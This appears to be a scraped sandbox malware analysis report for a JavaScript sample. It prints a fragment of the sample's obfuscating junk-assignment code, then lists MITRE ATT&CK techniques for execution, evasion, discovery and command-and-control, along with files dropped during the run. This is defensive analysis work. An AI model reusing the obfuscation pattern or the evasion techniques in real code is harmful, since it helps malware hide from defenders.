1306	bopeat = "J";
1307	bopeat = "n";
1308	bopeat = "V";
1309	bopeat = "X";
1310	bopeat = "b";
1311	bopeat = "Y";
1312	bopeat = "V";
1313	bopeat = "P";
1314	bopeat = "z";
1315	bopeat = "f";
1316	bopeat = "u";
1317	bopeat = "E";
1318	fiicnc = "O";
1319	fiicnc = "Z";
1320	fiicnc = "Y";
1321	fiicnc = "z";
1322	fiicnc = "K";
1323	fiicnc = "f";
1324	fiicnc = "i";
1325	fiicnc = "b";
1326	fiicnc = "t";
1327	fiicnc = "G";
1328	fiicnc = "z";
1329	fiicnc = "B";
1330	fiicnc = "s";
1331	kfillvb = "F";
1332	kfillvb = "D";
1333	kfillvb = "Q";
1334	kfillvb = "V";
1335	kfillvb = "D";
1336	kfillvb = "y";
1337	kfillvb = "a";
1338	kfillvb = "a";
1339	kfillvb = "g";
1340	kfillvb = "l";
1341	kfillvb = "m";
1342	kfillvb = "C";
1343	kfillvb = "z";
1344	kfillvb = "I";
1345	kfillvb = "i";
1346	kfillvb = "z";
1347	kfillvb = "f";
1348	kfillvb = "x";
1349	kfillvb = "P";
1350	kfillvb = "u";
1351	kfillvb = "f";
1352	kfillvb = "a";
1353	kfillvb = "Q";
1354	kfillvb = "E";
1355	kfillvb = "j";
1356	kfillvb = "A";
1357	kfillvb = "t";
1358	kfillvb = "a";
1359	ljxuzgu = "l";
1360	ljxuzgu = "r";
1361	ljxuzgu = "P";
1362	ljxuzgu = "m";
1363	ljxuzgu = "A";
1364	ljxuzgu = "h";
1365	ljxuzgu = "B";
1366	ljxuzgu = "u";
1367	ljxuzgu = "O";
1368	ljxuzgu = "f";
1369	ljxuzgu = "m";
1370	ljxuzgu = "v";
1371	ljxuzgu = "C";
1372	ljxuzgu = "s";
1373	ljxuzgu = "G";
1374	ljxuzgu = "q";
1375	ljxuzgu = "F";
1376	ljxuzgu = "c";
1377	ljxuzgu = "f";
1378	ljxuzgu = "p";
1379	npofz ( );	npofz() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 322024057229051058.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF660213.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c269bd70-be97-4d25-83c0-1446782f6a58.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e1ce98e0-04ab-4db8-b5b1-8b42d147fa2b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
322024057229051058.js